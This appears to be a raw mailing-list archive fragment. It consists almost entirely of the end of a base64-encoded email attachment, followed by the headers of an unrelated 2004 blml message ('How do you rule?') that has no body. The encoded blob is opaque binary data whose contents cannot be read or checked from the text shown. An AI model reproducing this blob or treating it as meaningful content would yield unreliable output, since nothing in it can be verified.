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 ------=_NextPart_000_0005_000076CC.0000446A-- From walt1@verizon.net Sat May 15 16:42:52 2004 From: walt1@verizon.net (Walt) Date: Sat, 15 May 2004 11:42:52 -0400 Subject: [blml] How do you rule? In-Reply-To: References: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> <283A694A-A652-11D8-8834-0003936A6522@gordonrainsford.co.uk> Message-ID: 